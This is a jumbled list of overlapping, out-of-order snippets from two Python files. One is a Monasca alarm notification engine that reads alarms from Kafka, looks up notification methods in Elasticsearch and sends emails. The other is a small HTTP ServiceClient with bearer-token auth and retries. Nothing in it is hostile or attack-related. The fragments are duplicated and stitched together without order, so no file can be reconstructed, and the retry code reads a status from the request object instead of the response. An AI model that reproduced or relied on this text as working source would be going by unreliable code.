"document type which defines what document ' 'type the messages",
"\"key1\": \"value1\" # } # }, # \"state_updated_timestamp\": 1432672915, #",
"cfg.StrOpt('doc_type', default='', help=('The document type which defines what document '",
"], # \"expression\": \"max(foo{hostname=mini-mon,mu=na}, 120) > 1100 # and max(bar",
"\"alarm_actions\": [ # \"c60ec47e-5038-4bf1-9f95-4046c6e9a759\" # ], # \"undetermined_actions\": [ #",
"'leave the default')), ] es_group = cfg.OptGroup(name='notification', title='notification') cfg.CONF.register_group(es_group) cfg.CONF.register_opts(es_opts,",
"'If the message does not need to be process anyway,'",
"log.getLogger(__name__) class NotificationEngine(os_service.Service): def __init__(self, threads=1000): super(NotificationEngine, self).__init__(threads) self._kafka_conn =",
"for msg in self._kafka_conn.get_messages(): self.handle_alarm_msg(msg) # if autocommit is set,",
"than 10\", # \"match_by\": [ # \"hostname\" # ], #",
"asd = asd} )>1200 or avg(biz)>1300\", # \"id\": \"c60ec47e-5038-4bf1-9f95-4046c6e91111\", #",
"call. self._kafka_conn.commit() except Exception: LOG.exception('Error occurred while handling kafka messages.')",
"elasticSearch # Then an email will be sent (TODO: phone",
"ids in one alarm message with different types for action_id",
"\"Average CPU percent greater than 10\", # \"match_by\": [ #",
"need to be process anyway,' 'leave the default')), ] es_group",
"is set, this will be a no-op call. self._kafka_conn.commit() except",
"# # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law",
"distributed on an \"AS IS\" BASIS, WITHOUT # WARRANTIES OR",
"types[i] == \"EMAIL\": email_addresses.append(addresses[i]) email_sender.send_emails(email_addresses, \"Alarm to User\", dict_msg[\"alarm-definition\"][\"description\"]) def",
"# Author: <NAME> <<EMAIL>> # # Licensed under the Apache",
"# # Licensed under the Apache License, Version 2.0 (the",
"saved ' 'to ElasticSearch.')), cfg.StrOpt('doc_type', default='', help=('The document type which",
"email_sender.send_emails(email_addresses, \"Alarm to User\", dict_msg[\"alarm-definition\"][\"description\"]) def start(self): while True: try:",
"actions(notification method id) needed. # the method id can be",
"actions = [] if state == 'ALARM': actions = dict_msg[\"alarm-definition\"][\"alarm_actions\"]",
"' 'specified, then the topic will be used.')), cfg.StrOpt('processor', default='',",
"return None es_res = _get_notification_method_response(es_res) LOG.debug('Query to ElasticSearch returned: %s'",
"= res.json() if obj: return obj.get('hits') return None else: return",
"is None: LOG.error(\"The provided is not defined as expected\") return",
"obtain # a copy of the License at # #",
"\"value\": 1500, # \"dimensions\": { # \"key2\": \"value2\", # \"key1\":",
"set, this will be a no-op call. self._kafka_conn.commit() except Exception:",
"monasca.common import kafka_conn from monasca.openstack.common import log from monasca.openstack.common import",
"Version 2.0 (the \"License\"); you may # not use this",
"in one alarm message with different types for action_id in",
"a no-op call. self._kafka_conn.commit() except Exception: LOG.exception('Error occurred while handling",
"action_id is an id of notification method # there can",
"= self._es_conn.get_message_by_id(action_id) def _get_notification_method_response(res): if res and res.status_code == 200:",
"= dict_msg[\"alarm-definition\"][\"alarm_actions\"] if state == 'OK': actions = dict_msg[\"alarm-definition\"][\"ok_actions\"] if",
"\"value2\", # \"key1\": \"value1\" # } # }, # \"state_updated_timestamp\":",
"not defined as expected\") return name = es_res[\"hits\"][0][\"_source\"][\"name\"] type =",
"value: # value's format is: # { # \"metrics\": {",
"# the method id can be used to match the",
"defines what document ' 'type the messages will be save",
"' 'type the messages will be save into. If not",
"[ # \"c60ec47e-5038-4bf1-9f95-4046c6e9a759\" # ], # \"name\": \"Average CPU percent",
"200: obj = res.json() if obj: return obj.get('hits') return None",
"License for the specific language governing permissions and limitations #",
"> 1100 # and max(bar { asd = asd} )>1200",
"an id of notification method # there can be multiple",
"value = msg.message.value if value: # value's format is: #",
"on an \"AS IS\" BASIS, WITHOUT # WARRANTIES OR CONDITIONS",
"average CPU percent is greater than 10\", # \"ok_actions\": [",
"defined as expected\") return actions = [] if state ==",
"email will be sent (TODO: phone txt msg are not",
"if state not in [\"ALARM\",\"OK\",\"UNDETERMINED\"]: LOG.error(\"state of alarm is not",
"be multiple ids in one alarm message with different types",
"http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed",
"# ], # \"expression\": \"max(foo{hostname=mini-mon,mu=na}, 120) > 1100 # and",
"# \"ok_actions\": [ # \"c60ec47e-5038-4bf1-9f95-4046c6e9a759\" # ], # \"expression\": \"max(foo{hostname=mini-mon,mu=na},",
"# ], # \"undetermined_actions\": [ # \"c60ec47e-5038-4bf1-9f95-4046c6e9a759\" # ], #",
"i in range(len(types)): if types[i] == \"EMAIL\": email_addresses.append(addresses[i]) email_sender.send_emails(email_addresses, \"Alarm",
"if state == 'UNDETERMINED': actions = dict_msg[\"alarm-definition\"][\"undetermined_actions\"] addresses = []",
"\"state\": \"ALARM\", # \"alarm-definition\": { # \"alarm_actions\": [ # \"c60ec47e-5038-4bf1-9f95-4046c6e9a759\"",
"state = dict_msg[\"state\"] if state not in [\"ALARM\",\"OK\",\"UNDETERMINED\"]: LOG.error(\"state of",
"type = es_res[\"hits\"][0][\"_source\"][\"type\"] address = es_res[\"hits\"][0][\"_source\"][\"address\"] types.append(type) addresses.append(address) email_addresses =",
"governing permissions and limitations # under the License. import ast",
"topic that messages will be retrieved from.' 'This also will",
"= [] # the action_id is an id of notification",
"will be used as a doc type when saved '",
"cfg.CONF.notification.doc_type: self._es_conn = es_conn.ESConnection( cfg.CONF.notification.doc_type) else: self._es_conn = es_conn.ESConnection( cfg.CONF.notification.topic2)",
"not defined as expected\") return actions = [] if state",
"or avg(biz)>1300\", # \"id\": \"c60ec47e-5038-4bf1-9f95-4046c6e91111\", # \"severity\": \"LOW\" # }",
"which defines what document ' 'type the messages will be",
"in range(len(types)): if types[i] == \"EMAIL\": email_addresses.append(addresses[i]) email_sender.send_emails(email_addresses, \"Alarm to",
"needed. # the method id can be used to match",
"different types for action_id in actions: es_res = self._es_conn.get_message_by_id(action_id) def",
"res.status_code == 200: obj = res.json() if obj: return obj.get('hits')",
"Licensed under the Apache License, Version 2.0 (the \"License\"); you",
"# \"c60ec47e-5038-4bf1-9f95-4046c6e9a759\" # ], # \"undetermined_actions\": [ # \"c60ec47e-5038-4bf1-9f95-4046c6e9a759\" #",
"method id can be used to match the notification method",
"License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by",
"# \"hostname\" # ], # \"description\": \"The average CPU percent",
"# if autocommit is set, this will be a no-op",
"state to determine the actions(notification method id) needed. # the",
"anyway,' 'leave the default')), ] es_group = cfg.OptGroup(name='notification', title='notification') cfg.CONF.register_group(es_group)",
"obj: return obj.get('hits') return None else: return None es_res =",
"with for now) dict_msg = ast.literal_eval(value) state = dict_msg[\"state\"] if",
"10\", # \"ok_actions\": [ # \"c60ec47e-5038-4bf1-9f95-4046c6e9a759\" # ], # \"expression\":",
"else: return None es_res = _get_notification_method_response(es_res) LOG.debug('Query to ElasticSearch returned:",
"compliance with the License. You may obtain # a copy",
"types for action_id in actions: es_res = self._es_conn.get_message_by_id(action_id) def _get_notification_method_response(res):",
"kafka_conn from monasca.openstack.common import log from monasca.openstack.common import service as",
"from monasca.openstack.common import log from monasca.openstack.common import service as os_service",
"will be retrieved from.' 'This also will be used as",
"= es_res[\"hits\"][0][\"_source\"][\"type\"] address = es_res[\"hits\"][0][\"_source\"][\"address\"] types.append(type) addresses.append(address) email_addresses = []",
"# \"state\": \"ALARM\", # \"alarm-definition\": { # \"alarm_actions\": [ #",
"stevedore import driver from monasca.common import es_conn from monasca.common import",
"CPU percent greater than 10\", # \"match_by\": [ # \"hostname\"",
"no-op call. self._kafka_conn.commit() except Exception: LOG.exception('Error occurred while handling kafka",
"self._kafka_conn = kafka_conn.KafkaConnection( cfg.CONF.notification.topic) # Use doc_type if it is",
"# \"timestamp\": 1432672915.409, # \"name\": \"biz\", # \"value\": 1500, #",
"the # License for the specific language governing permissions and",
"from oslo.config import cfg from stevedore import driver from monasca.common",
"# # Unless required by applicable law or agreed to",
"what document ' 'type the messages will be save into.",
"determine the actions(notification method id) needed. # the method id",
"es_conn from monasca.common import email_sender from monasca.common import kafka_conn from",
"is not defined as expected\") return actions = [] if",
"\"severity\": \"LOW\" # } # } # convert to dict,",
"Carnegie Mellon University # # Author: <NAME> <<EMAIL>> # #",
"'to ElasticSearch.')), cfg.StrOpt('doc_type', default='', help=('The document type which defines what",
"msg.message.value if value: # value's format is: # { #",
"= dict_msg[\"state\"] if state not in [\"ALARM\",\"OK\",\"UNDETERMINED\"]: LOG.error(\"state of alarm",
"kafka_conn.KafkaConnection( cfg.CONF.notification.topic) # Use doc_type if it is defined. if",
"# Use doc_type if it is defined. if cfg.CONF.notification.doc_type: self._es_conn",
"] es_group = cfg.OptGroup(name='notification', title='notification') cfg.CONF.register_group(es_group) cfg.CONF.register_opts(es_opts, es_group) LOG =",
"= dict_msg[\"alarm-definition\"][\"undetermined_actions\"] addresses = [] types = [] # the",
"], # \"name\": \"Average CPU percent greater than 10\", #",
"when saved ' 'to ElasticSearch.')), cfg.StrOpt('doc_type', default='', help=('The document type",
"expected\") return actions = [] if state == 'ALARM': actions",
"the notification method in elasticSearch # Then an email will",
"monasca.openstack.common import service as os_service es_opts = [ cfg.StrOpt('topic', default='alarm',",
"2.0 (the \"License\"); you may # not use this file",
"multiple ids in one alarm message with different types for",
"is greater than 10\", # \"ok_actions\": [ # \"c60ec47e-5038-4bf1-9f95-4046c6e9a759\" #",
"state == 'OK': actions = dict_msg[\"alarm-definition\"][\"ok_actions\"] if state == 'UNDETERMINED':",
"# \"undetermined_actions\": [ # \"c60ec47e-5038-4bf1-9f95-4046c6e9a759\" # ], # \"name\": \"Average",
"help=('The message processer to load to process the message.' 'If",
"to be process anyway,' 'leave the default')), ] es_group =",
"if state == 'ALARM': actions = dict_msg[\"alarm-definition\"][\"alarm_actions\"] if state ==",
"and msg.message: LOG.debug(\"Message received for alarm: \" + msg.message.value) value",
"the default')), ] es_group = cfg.OptGroup(name='notification', title='notification') cfg.CONF.register_group(es_group) cfg.CONF.register_opts(es_opts, es_group)",
"and res.status_code == 200: obj = res.json() if obj: return",
"to load to process the message.' 'If the message does",
"by applicable law or agreed to in writing, software #",
"1432672915.409, # \"name\": \"biz\", # \"value\": 1500, # \"dimensions\": {",
")>1200 or avg(biz)>1300\", # \"id\": \"c60ec47e-5038-4bf1-9f95-4046c6e91111\", # \"severity\": \"LOW\" #",
"msg): if msg and msg.message: LOG.debug(\"Message received for alarm: \"",
"self._es_conn.get_message_by_id(action_id) def _get_notification_method_response(res): if res and res.status_code == 200: obj",
"match the notification method in elasticSearch # Then an email",
"\"LOW\" # } # } # convert to dict, and",
"types.append(type) addresses.append(address) email_addresses = [] for i in range(len(types)): if",
"be sent (TODO: phone txt msg are not dealt with",
"[] types = [] # the action_id is an id",
"into. If not ' 'specified, then the topic will be",
"BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either",
"be used.')), cfg.StrOpt('processor', default='', help=('The message processer to load to",
"\"EMAIL\": email_addresses.append(addresses[i]) email_sender.send_emails(email_addresses, \"Alarm to User\", dict_msg[\"alarm-definition\"][\"description\"]) def start(self): while",
"super(NotificationEngine, self).__init__(threads) self._kafka_conn = kafka_conn.KafkaConnection( cfg.CONF.notification.topic) # Use doc_type if",
"received for alarm: \" + msg.message.value) value = msg.message.value if",
"txt msg are not dealt with for now) dict_msg =",
"if state == 'OK': actions = dict_msg[\"alarm-definition\"][\"ok_actions\"] if state ==",
"University # # Author: <NAME> <<EMAIL>> # # Licensed under",
"self._es_conn = es_conn.ESConnection( cfg.CONF.notification.doc_type) else: self._es_conn = es_conn.ESConnection( cfg.CONF.notification.topic2) def",
"es_conn.ESConnection( cfg.CONF.notification.doc_type) else: self._es_conn = es_conn.ESConnection( cfg.CONF.notification.topic2) def handle_alarm_msg(self, msg):",
"driver from monasca.common import es_conn from monasca.common import email_sender from",
"message.' 'If the message does not need to be process",
"__init__(self, threads=1000): super(NotificationEngine, self).__init__(threads) self._kafka_conn = kafka_conn.KafkaConnection( cfg.CONF.notification.topic) # Use",
"if it is defined. if cfg.CONF.notification.doc_type: self._es_conn = es_conn.ESConnection( cfg.CONF.notification.doc_type)",
"obj.get('hits') return None else: return None es_res = _get_notification_method_response(es_res) LOG.debug('Query",
"import service as os_service es_opts = [ cfg.StrOpt('topic', default='alarm', help=('The",
"default='notification_methods', help=('The topic that messages will be retrieved from.' 'This",
"may obtain # a copy of the License at #",
"return actions = [] if state == 'ALARM': actions =",
"os_service es_opts = [ cfg.StrOpt('topic', default='alarm', help=('The topic that messages",
"} # } # convert to dict, and get state",
"can be used to match the notification method in elasticSearch",
"class NotificationEngine(os_service.Service): def __init__(self, threads=1000): super(NotificationEngine, self).__init__(threads) self._kafka_conn = kafka_conn.KafkaConnection(",
"Unless required by applicable law or agreed to in writing,",
"\"id\": \"c60ec47e-5038-4bf1-9f95-4046c6e91111\", # \"severity\": \"LOW\" # } # } #",
"default')), ] es_group = cfg.OptGroup(name='notification', title='notification') cfg.CONF.register_group(es_group) cfg.CONF.register_opts(es_opts, es_group) LOG",
"to User\", dict_msg[\"alarm-definition\"][\"description\"]) def start(self): while True: try: for msg",
"email_addresses.append(addresses[i]) email_sender.send_emails(email_addresses, \"Alarm to User\", dict_msg[\"alarm-definition\"][\"description\"]) def start(self): while True:",
"Copyright 2015 Carnegie Mellon University # # Author: <NAME> <<EMAIL>>",
"autocommit is set, this will be a no-op call. self._kafka_conn.commit()",
"[ # \"c60ec47e-5038-4bf1-9f95-4046c6e9a759\" # ], # \"undetermined_actions\": [ # \"c60ec47e-5038-4bf1-9f95-4046c6e9a759\"",
"applicable law or agreed to in writing, software # distributed",
"default='alarm', help=('The topic that messages will be retrieved from.' 'This",
"return obj.get('hits') return None else: return None es_res = _get_notification_method_response(es_res)",
"under the License. import ast import json from oslo.config import",
"= asd} )>1200 or avg(biz)>1300\", # \"id\": \"c60ec47e-5038-4bf1-9f95-4046c6e91111\", # \"severity\":",
"# Then an email will be sent (TODO: phone txt",
"OF ANY KIND, either express or implied. See the #",
"import es_conn from monasca.common import email_sender from monasca.common import kafka_conn",
"an email will be sent (TODO: phone txt msg are",
"= es_res[\"hits\"][0][\"_source\"][\"address\"] types.append(type) addresses.append(address) email_addresses = [] for i in",
"dict_msg[\"state\"] if state not in [\"ALARM\",\"OK\",\"UNDETERMINED\"]: LOG.error(\"state of alarm is",
"WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express",
"in writing, software # distributed under the License is distributed",
"LOG = log.getLogger(__name__) class NotificationEngine(os_service.Service): def __init__(self, threads=1000): super(NotificationEngine, self).__init__(threads)",
"\"max(foo{hostname=mini-mon,mu=na}, 120) > 1100 # and max(bar { asd =",
"provided is not defined as expected\") return name = es_res[\"hits\"][0][\"_source\"][\"name\"]",
"from monasca.openstack.common import service as os_service es_opts = [ cfg.StrOpt('topic',",
"es_res is None: LOG.error(\"The provided is not defined as expected\")",
"_get_notification_method_response(res): if res and res.status_code == 200: obj = res.json()",
"the topic will be used.')), cfg.StrOpt('processor', default='', help=('The message processer",
"monasca.common import es_conn from monasca.common import email_sender from monasca.common import",
"'OK': actions = dict_msg[\"alarm-definition\"][\"ok_actions\"] if state == 'UNDETERMINED': actions =",
"one alarm message with different types for action_id in actions:",
"a doc type when saved ' 'to ElasticSearch.')), cfg.StrOpt('topic2', default='notification_methods',",
"will be a no-op call. self._kafka_conn.commit() except Exception: LOG.exception('Error occurred",
"cfg.OptGroup(name='notification', title='notification') cfg.CONF.register_group(es_group) cfg.CONF.register_opts(es_opts, es_group) LOG = log.getLogger(__name__) class NotificationEngine(os_service.Service):",
"CPU percent is greater than 10\", # \"ok_actions\": [ #",
"self).__init__(threads) self._kafka_conn = kafka_conn.KafkaConnection( cfg.CONF.notification.topic) # Use doc_type if it",
"], # \"description\": \"The average CPU percent is greater than",
"= [ cfg.StrOpt('topic', default='alarm', help=('The topic that messages will be",
"# convert to dict, and get state to determine the",
"a doc type when saved ' 'to ElasticSearch.')), cfg.StrOpt('doc_type', default='',",
"# \"metrics\": { # \"timestamp\": 1432672915.409, # \"name\": \"biz\", #",
"dict_msg[\"alarm-definition\"][\"description\"]) def start(self): while True: try: for msg in self._kafka_conn.get_messages():",
"# \"c60ec47e-5038-4bf1-9f95-4046c6e9a759\" # ], # \"expression\": \"max(foo{hostname=mini-mon,mu=na}, 120) > 1100",
"are not dealt with for now) dict_msg = ast.literal_eval(value) state",
"name = es_res[\"hits\"][0][\"_source\"][\"name\"] type = es_res[\"hits\"][0][\"_source\"][\"type\"] address = es_res[\"hits\"][0][\"_source\"][\"address\"] types.append(type)",
"== 'OK': actions = dict_msg[\"alarm-definition\"][\"ok_actions\"] if state == 'UNDETERMINED': actions",
"either express or implied. See the # License for the",
"from monasca.common import kafka_conn from monasca.openstack.common import log from monasca.openstack.common",
"asd} )>1200 or avg(biz)>1300\", # \"id\": \"c60ec47e-5038-4bf1-9f95-4046c6e91111\", # \"severity\": \"LOW\"",
"not dealt with for now) dict_msg = ast.literal_eval(value) state =",
"it is defined. if cfg.CONF.notification.doc_type: self._es_conn = es_conn.ESConnection( cfg.CONF.notification.doc_type) else:",
"copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # #",
"may # not use this file except in compliance with",
"default='', help=('The document type which defines what document ' 'type",
"for alarm: \" + msg.message.value) value = msg.message.value if value:",
"# License for the specific language governing permissions and limitations",
"with the License. You may obtain # a copy of",
"is: # { # \"metrics\": { # \"timestamp\": 1432672915.409, #",
"= es_conn.ESConnection( cfg.CONF.notification.topic2) def handle_alarm_msg(self, msg): if msg and msg.message:",
"dict_msg = ast.literal_eval(value) state = dict_msg[\"state\"] if state not in",
"you may # not use this file except in compliance",
"title='notification') cfg.CONF.register_group(es_group) cfg.CONF.register_opts(es_opts, es_group) LOG = log.getLogger(__name__) class NotificationEngine(os_service.Service): def",
"es_group) LOG = log.getLogger(__name__) class NotificationEngine(os_service.Service): def __init__(self, threads=1000): super(NotificationEngine,",
"\"value1\" # } # }, # \"state_updated_timestamp\": 1432672915, # \"state\":",
"# \"severity\": \"LOW\" # } # } # convert to",
"for now) dict_msg = ast.literal_eval(value) state = dict_msg[\"state\"] if state",
"state == 'UNDETERMINED': actions = dict_msg[\"alarm-definition\"][\"undetermined_actions\"] addresses = [] types",
"doc type when saved ' 'to ElasticSearch.')), cfg.StrOpt('topic2', default='notification_methods', help=('The",
"def __init__(self, threads=1000): super(NotificationEngine, self).__init__(threads) self._kafka_conn = kafka_conn.KafkaConnection( cfg.CONF.notification.topic) #",
"Use doc_type if it is defined. if cfg.CONF.notification.doc_type: self._es_conn =",
"}, # \"state_updated_timestamp\": 1432672915, # \"state\": \"ALARM\", # \"alarm-definition\": {",
"2015 Carnegie Mellon University # # Author: <NAME> <<EMAIL>> #",
"for action_id in actions: es_res = self._es_conn.get_message_by_id(action_id) def _get_notification_method_response(res): if",
"start(self): while True: try: for msg in self._kafka_conn.get_messages(): self.handle_alarm_msg(msg) #",
"# http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or",
"# WARRANTIES OR CONDITIONS OF ANY KIND, either express or",
"\"biz\", # \"value\": 1500, # \"dimensions\": { # \"key2\": \"value2\",",
"} # }, # \"state_updated_timestamp\": 1432672915, # \"state\": \"ALARM\", #",
"the License is distributed on an \"AS IS\" BASIS, WITHOUT",
"' 'to ElasticSearch.')), cfg.StrOpt('doc_type', default='', help=('The document type which defines",
"help=('The document type which defines what document ' 'type the",
"es_conn.ESConnection( cfg.CONF.notification.topic2) def handle_alarm_msg(self, msg): if msg and msg.message: LOG.debug(\"Message",
"a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 #",
"not need to be process anyway,' 'leave the default')), ]",
"defined. if cfg.CONF.notification.doc_type: self._es_conn = es_conn.ESConnection( cfg.CONF.notification.doc_type) else: self._es_conn =",
"def _get_notification_method_response(res): if res and res.status_code == 200: obj =",
"res.json() if obj: return obj.get('hits') return None else: return None",
"in actions: es_res = self._es_conn.get_message_by_id(action_id) def _get_notification_method_response(res): if res and",
"is defined. if cfg.CONF.notification.doc_type: self._es_conn = es_conn.ESConnection( cfg.CONF.notification.doc_type) else: self._es_conn",
"msg.message: LOG.debug(\"Message received for alarm: \" + msg.message.value) value =",
"for the specific language governing permissions and limitations # under",
"method in elasticSearch # Then an email will be sent",
"cfg.CONF.register_group(es_group) cfg.CONF.register_opts(es_opts, es_group) LOG = log.getLogger(__name__) class NotificationEngine(os_service.Service): def __init__(self,",
"= es_res[\"hits\"][0][\"_source\"][\"name\"] type = es_res[\"hits\"][0][\"_source\"][\"type\"] address = es_res[\"hits\"][0][\"_source\"][\"address\"] types.append(type) addresses.append(address)",
"the method id can be used to match the notification",
"notification method # there can be multiple ids in one",
"cfg.CONF.notification.topic) # Use doc_type if it is defined. if cfg.CONF.notification.doc_type:",
"def start(self): while True: try: for msg in self._kafka_conn.get_messages(): self.handle_alarm_msg(msg)",
"except in compliance with the License. You may obtain #",
"the messages will be save into. If not ' 'specified,",
"the action_id is an id of notification method # there",
"will be sent (TODO: phone txt msg are not dealt",
"Mellon University # # Author: <NAME> <<EMAIL>> # # Licensed",
"and limitations # under the License. import ast import json",
"' 'to ElasticSearch.')), cfg.StrOpt('topic2', default='notification_methods', help=('The topic that messages will",
"log from monasca.openstack.common import service as os_service es_opts = [",
"language governing permissions and limitations # under the License. import",
"License. You may obtain # a copy of the License",
"import cfg from stevedore import driver from monasca.common import es_conn",
"will be save into. If not ' 'specified, then the",
"cfg.StrOpt('processor', default='', help=('The message processer to load to process the",
"ANY KIND, either express or implied. See the # License",
"# distributed under the License is distributed on an \"AS",
"= es_conn.ESConnection( cfg.CONF.notification.doc_type) else: self._es_conn = es_conn.ESConnection( cfg.CONF.notification.topic2) def handle_alarm_msg(self,",
"# Unless required by applicable law or agreed to in",
"now) dict_msg = ast.literal_eval(value) state = dict_msg[\"state\"] if state not",
"# \"expression\": \"max(foo{hostname=mini-mon,mu=na}, 120) > 1100 # and max(bar {",
"max(bar { asd = asd} )>1200 or avg(biz)>1300\", # \"id\":",
"\"metrics\": { # \"timestamp\": 1432672915.409, # \"name\": \"biz\", # \"value\":",
"email_addresses = [] for i in range(len(types)): if types[i] ==",
"is distributed on an \"AS IS\" BASIS, WITHOUT # WARRANTIES",
"[] for i in range(len(types)): if types[i] == \"EMAIL\": email_addresses.append(addresses[i])",
"= _get_notification_method_response(es_res) LOG.debug('Query to ElasticSearch returned: %s' % es_res) if",
"type when saved ' 'to ElasticSearch.')), cfg.StrOpt('doc_type', default='', help=('The document",
"from monasca.common import email_sender from monasca.common import kafka_conn from monasca.openstack.common",
"process anyway,' 'leave the default')), ] es_group = cfg.OptGroup(name='notification', title='notification')",
"if autocommit is set, this will be a no-op call.",
"not ' 'specified, then the topic will be used.')), cfg.StrOpt('processor',",
"es_group = cfg.OptGroup(name='notification', title='notification') cfg.CONF.register_group(es_group) cfg.CONF.register_opts(es_opts, es_group) LOG = log.getLogger(__name__)",
"\"timestamp\": 1432672915.409, # \"name\": \"biz\", # \"value\": 1500, # \"dimensions\":",
"threads=1000): super(NotificationEngine, self).__init__(threads) self._kafka_conn = kafka_conn.KafkaConnection( cfg.CONF.notification.topic) # Use doc_type",
"= [] types = [] # the action_id is an",
"\"ok_actions\": [ # \"c60ec47e-5038-4bf1-9f95-4046c6e9a759\" # ], # \"expression\": \"max(foo{hostname=mini-mon,mu=na}, 120)",
"def handle_alarm_msg(self, msg): if msg and msg.message: LOG.debug(\"Message received for",
"es_res = self._es_conn.get_message_by_id(action_id) def _get_notification_method_response(res): if res and res.status_code ==",
"convert to dict, and get state to determine the actions(notification",
"1432672915, # \"state\": \"ALARM\", # \"alarm-definition\": { # \"alarm_actions\": [",
"\"undetermined_actions\": [ # \"c60ec47e-5038-4bf1-9f95-4046c6e9a759\" # ], # \"name\": \"Average CPU",
"be process anyway,' 'leave the default')), ] es_group = cfg.OptGroup(name='notification',",
"alarm message with different types for action_id in actions: es_res",
"message does not need to be process anyway,' 'leave the",
"the License. import ast import json from oslo.config import cfg",
"'to ElasticSearch.')), cfg.StrOpt('topic2', default='notification_methods', help=('The topic that messages will be",
"or implied. See the # License for the specific language",
"Author: <NAME> <<EMAIL>> # # Licensed under the Apache License,"
] |
[
"0 and e.request.status >= 500: return self._make_request(request=request, retries=retries - 1,",
"= 0 def __init__( self, base_url: str, token: Optional[str] =",
"retries=DEFAULT_MAX_RETRIES, **kwargs) -> dict: \"\"\" Class method to make request",
">= 500: return self._make_request(request=request, retries=retries - 1, **kwargs) else: raise",
"_create_client_session(self): \"\"\" Class method to create client session \"\"\" session",
"http authentication \"\"\" if self.token: return BearerAuth(self.token) def make_full_url(self, path:",
"= requests.Session() session.auth = self._get_http_auth() return session def _get_http_auth(self): \"\"\"",
"-> dict: \"\"\" Class method to make request :param request:",
"self.token = token def __call__(self, r): r.headers['Authorization'] = f'Bearer {self.token}'",
"str, token: Optional[str] = None, ): self.base_url = base_url.rstrip(\"/\") self.token",
"e.request.status >= 500: return self._make_request(request=request, retries=retries - 1, **kwargs) else:",
"dict \"\"\" try: with request(**kwargs) as resp: resp.raise_for_status() return resp.json()",
"token self.session = self._create_client_session() def _dispose(self): \"\"\" Class method to",
"method to resolve http authentication \"\"\" if self.token: return BearerAuth(self.token)",
"\"\"\" return f\"{self.base_url}{path}\" def _make_request(self, request: Callable, retries=DEFAULT_MAX_RETRIES, **kwargs) ->",
"to make request :param request: Callable :return: dict \"\"\" try:",
"to resolve http authentication \"\"\" if self.token: return BearerAuth(self.token) def",
"RequestException as e: if retries > 0 and e.request.status >=",
"close user session \"\"\" self.session.close() def _create_client_session(self): \"\"\" Class method",
"return session def _get_http_auth(self): \"\"\" Class method to resolve http",
"def __init__(self, token): self.token = token def __call__(self, r): r.headers['Authorization']",
"from requests.exceptions import RequestException class BearerAuth(AuthBase): def __init__(self, token): self.token",
"\"\"\" Class method to make full url :param path: str",
"_make_request(self, request: Callable, retries=DEFAULT_MAX_RETRIES, **kwargs) -> dict: \"\"\" Class method",
"Class method to resolve http authentication \"\"\" if self.token: return",
"AuthBase from requests.exceptions import RequestException class BearerAuth(AuthBase): def __init__(self, token):",
"self._create_client_session() def _dispose(self): \"\"\" Class method to close user session",
"def _make_request(self, request: Callable, retries=DEFAULT_MAX_RETRIES, **kwargs) -> dict: \"\"\" Class",
"_get_http_auth(self): \"\"\" Class method to resolve http authentication \"\"\" if",
"Class method to close user session \"\"\" self.session.close() def _create_client_session(self):",
"def _create_client_session(self): \"\"\" Class method to create client session \"\"\"",
"method to create client session \"\"\" session = requests.Session() session.auth",
"{self.token}' return r class ServiceClient: DEFAULT_MAX_RETRIES = 0 def __init__(",
"Callable :return: dict \"\"\" try: with request(**kwargs) as resp: resp.raise_for_status()",
"requests.auth import AuthBase from requests.exceptions import RequestException class BearerAuth(AuthBase): def",
"**kwargs) -> dict: \"\"\" Class method to make request :param",
"Optional[str] = None, ): self.base_url = base_url.rstrip(\"/\") self.token = token",
"with request(**kwargs) as resp: resp.raise_for_status() return resp.json() except RequestException as",
"resp: resp.raise_for_status() return resp.json() except RequestException as e: if retries",
"token): self.token = token def __call__(self, r): r.headers['Authorization'] = f'Bearer",
"except RequestException as e: if retries > 0 and e.request.status",
"self._get_http_auth() return session def _get_http_auth(self): \"\"\" Class method to resolve",
"full url :param path: str :return: str \"\"\" return f\"{self.base_url}{path}\"",
"None, ): self.base_url = base_url.rstrip(\"/\") self.token = token self.session =",
"if self.token: return BearerAuth(self.token) def make_full_url(self, path: str) -> str:",
":return: dict \"\"\" try: with request(**kwargs) as resp: resp.raise_for_status() return",
"import Optional, Callable import requests from requests.auth import AuthBase from",
"self.token = token self.session = self._create_client_session() def _dispose(self): \"\"\" Class",
"from typing import Optional, Callable import requests from requests.auth import",
"\"\"\" self.session.close() def _create_client_session(self): \"\"\" Class method to create client",
"BearerAuth(self.token) def make_full_url(self, path: str) -> str: \"\"\" Class method",
"-> str: \"\"\" Class method to make full url :param",
"\"\"\" try: with request(**kwargs) as resp: resp.raise_for_status() return resp.json() except",
"= token def __call__(self, r): r.headers['Authorization'] = f'Bearer {self.token}' return",
"def __init__( self, base_url: str, token: Optional[str] = None, ):",
"Callable, retries=DEFAULT_MAX_RETRIES, **kwargs) -> dict: \"\"\" Class method to make",
"r class ServiceClient: DEFAULT_MAX_RETRIES = 0 def __init__( self, base_url:",
"_dispose(self): \"\"\" Class method to close user session \"\"\" self.session.close()",
"r.headers['Authorization'] = f'Bearer {self.token}' return r class ServiceClient: DEFAULT_MAX_RETRIES =",
"import AuthBase from requests.exceptions import RequestException class BearerAuth(AuthBase): def __init__(self,",
"e: if retries > 0 and e.request.status >= 500: return",
"requests.exceptions import RequestException class BearerAuth(AuthBase): def __init__(self, token): self.token =",
"def _dispose(self): \"\"\" Class method to close user session \"\"\"",
"): self.base_url = base_url.rstrip(\"/\") self.token = token self.session = self._create_client_session()",
"\"\"\" Class method to make request :param request: Callable :return:",
"method to close user session \"\"\" self.session.close() def _create_client_session(self): \"\"\"",
"if retries > 0 and e.request.status >= 500: return self._make_request(request=request,",
"str) -> str: \"\"\" Class method to make full url",
"session \"\"\" self.session.close() def _create_client_session(self): \"\"\" Class method to create",
"str \"\"\" return f\"{self.base_url}{path}\" def _make_request(self, request: Callable, retries=DEFAULT_MAX_RETRIES, **kwargs)",
":param path: str :return: str \"\"\" return f\"{self.base_url}{path}\" def _make_request(self,",
"DEFAULT_MAX_RETRIES = 0 def __init__( self, base_url: str, token: Optional[str]",
"= base_url.rstrip(\"/\") self.token = token self.session = self._create_client_session() def _dispose(self):",
"Class method to make full url :param path: str :return:",
